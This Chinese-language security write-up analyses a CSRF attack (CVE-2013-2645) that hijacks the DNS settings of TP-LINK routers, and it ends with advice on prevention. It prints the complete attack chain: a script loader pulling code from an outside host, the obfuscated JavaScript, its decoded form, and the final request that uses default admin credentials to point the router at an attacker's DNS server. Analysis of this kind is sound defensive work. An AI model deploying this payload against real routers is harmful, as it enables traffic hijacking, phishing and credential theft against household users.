<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/722

            0x00 背景


            路由被CSRF攻擊,修改DNS的話題最近一直比較活躍,但是國內貌似沒有一個技術文章詳細的分析此漏洞,漏洞成因比較簡單,本篇來科普一下。

            本篇講得是一個利用CVE-2013-2645的漏洞,來修改TP-LINK的DNS案例,針對其他路由的攻擊大同小異。

            0x01 EXP分析


            攻擊者會在自己的網站或者已經受他控制的網站上加入一段javascript代碼:

            document.write("<script type=\"text/javascript\" src=\"http://www.xxxxxx.com/js/ma.js\">");
            

            javascript代碼動態的從外站加載一個ma.js的文件,看一下ma.js文件里的內容:

            eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c][/c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c][/c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c][/c]);return p;}('T w$=["\\E\\6\\5\\m\\o\\3\\q\\5\\m\\8\\3\\7\\"\\5\\3\\G\\5\\j\\r\\6\\6\\"\\y\\B\\d\\e\\8\\v\\4\\5\\q\\u\\4\\o\\H\\n\\5\\5\\8\\A\\j\\j\\a\\i\\e\\d\\f\\A\\a\\i\\e\\d\\f\\B\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\j\\u\\6\\3\\4\\z\\8\\e\\j\\s\\a\\f\\F\\n\\r\\8\\C\\3\\4\\l\\3\\4\\z\\8\\e\\1\\n\\5\\e\\I\\i\\n\\r\\8\\6\\3\\4\\l\\3\\4\\7\\2\\c\\d\\8\\2\\7\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\b\\b\\c\\d\\8\\h\\7\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\k\\k\\c\\s\\3\\a\\6\\3\\7\\2\\h\\b\\c\\Q\\a\\5\\3\\x\\a\\m\\7\\b\\1\\b\\1\\b\\1\\b\\c\\i\\v\\e\\a\\d\\f\\7\\c\\i\\f\\6\\6\\3\\4\\l\\3\\4\\7\\2\\b\\g\\1\\2\\9\\P\\1\\D\\g\\1\\9\\R\\c\\i\\f\\6\\6\\3\\4\\l\\3\\4\\h\\7\\9\\1\\9\\1\\9\\1\\9\\c\\C\\a\\l\\3\\7\\p\\t\\2\\p\\S\\D\\O\\p\\t\\K\\p\\J\\g\\L\\N\\E\\j\\6\\5\\m\\o\\3\\y\\q"];M["\\x\\4\\d\\5\\3\\o\\f"](w$[0]);',56,56,'|x2e|x31|x65|x72|x74|x73|x3d|x70|x38|x61|x30|x26|x69|x6d|x6e|x36|x32|x64|x2f|x39|x76|x79|x68|x6c|x25|x20|x63|x4c|x42|x75|x6f|_|x77|x3e|x52|x3a|x40|x53|x33|x3c|x44|x78|x28|x3f|x45|x34|x29|document|x3b|x2b|x37|x67|x35|x41|var'.split('|'),0,{}))
            

            嗯,是一段混淆的js代碼,eval執行一段混淆代碼,把eval換成console.log在瀏覽器的控制臺輸出一下:

            var _$=["\x3c\x73\x74\x79\x6c\x65\x20\x74\x79\x70\x65\x3d\"\x74\x65\x78\x74\x2f\x63\x73\x73\"\x3e\x40\x69\x6d\x70\x6f\x72\x74\x20\x75\x72\x6c\x28\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x6d\x69\x6e\x3a\x61\x64\x6d\x69\x6e\x40\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x2f\x75\x73\x65\x72\x52\x70\x6d\x2f\x4c\x61\x6e\x44\x68\x63\x70\x53\x65\x72\x76\x65\x72\x52\x70\x6d\x2e\x68\x74\x6d\x3f\x64\x68\x63\x70\x73\x65\x72\x76\x65\x72\x3d\x31\x26\x69\x70\x31\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x30\x30\x26\x69\x70\x32\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x39\x39\x26\x4c\x65\x61\x73\x65\x3d\x31\x32\x30\x26\x67\x61\x74\x65\x77\x61\x79\x3d\x30\x2e\x30\x2e\x30\x2e\x30\x26\x64\x6f\x6d\x61\x69\x6e\x3d\x26\x64\x6e\x73\x73\x65\x72\x76\x65\x72\x3d\x31\x30\x36\x2e\x31\x38\x37\x2e\x33\x36\x2e\x38\x35\x26\x64\x6e\x73\x73\x65\x72\x76\x65\x72\x32\x3d\x38\x2e\x38\x2e\x38\x2e\x38\x26\x53\x61\x76\x65\x3d\x25\x42\x31\x25\x41\x33\x2b\x25\x42\x34\x25\x45\x36\x29\x3b\x3c\x2f\x73\x74\x79\x6c\x65\x3e\x20"];document["\x77\x72\x69\x74\x65\x6c\x6e"](_$[0]);
            

            仍然是混淆的代碼,但是比一開始的容易看很多,只是把一些字符串給轉成了16進制方式表示而已。

            \x77\x72\x69\x74\x65\x6c\x6e這段16進制表示的是字符串writeln

            javascript中document["writeln"]與document.writeln一樣,這是javascript兩種訪問對象屬性的寫法。

            代碼最終等同于:

            document.writeln('<style type="text/css">@import url(http://admin:[email protected]/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6);</style>')
            

            現在就很明了了,寫了一個style標簽import一個css調用,讓瀏覽器去訪問這個地址:

            http://admin:[email protected]/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6
            

            很明顯的一個CSRF攻擊,攻擊者的主要目的是把dns服務器換成106.187.36.85,為了使攻擊成功,還加入了一些必要的提交參數,如ip范圍是從192.168.1.100-199等。

            為了確保所有訪問都沒有問題,還加入了google的dns,當106.187.36.85有不能解析的域名時,去8.8.8.8獲取地址。

            針對CSRF的原理危害以及修復方式,drops之前有文章講過可以參考一下:

            CSRF簡單介紹及利用方法

            應當注意的是這個利用是根據路由的默認密碼進入后臺做一系列的操作的,如果路由器已經修改的默認用戶名密碼,可以避免此危害,但是如果瀏覽器已經在路由后臺,或者cookie還未失效,仍然能夠攻擊成功。

            0x02 修改DNS的危害


            攻擊者為什么要修改DNS呢,當他獲取DNS的權限后,他能做什么呢:

            1、用戶打開一個正常網站時,重定向到一個釣魚網站。
            2、給正常網站加入掛馬代碼,控制用戶PC。
            3、軟件升級時候不用簽名的話,可控制軟件的升級。
            4、不使用證書的話可以截取郵箱密碼,網站上的密碼等等。
            5、更改網站上的廣告,換成自己的。(我覺得這是天朝黑客獲取利潤的方式)
            

            0x03 如何避免這種攻擊


            1、首先應該先檢查一下自己的dns是否已經被改變了。
            2、升級路由的固件,有部分型號已經修復。
            3、更改路由器的默認密碼。
            4、登陸路由后,退出要點擊“注銷”。
            

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线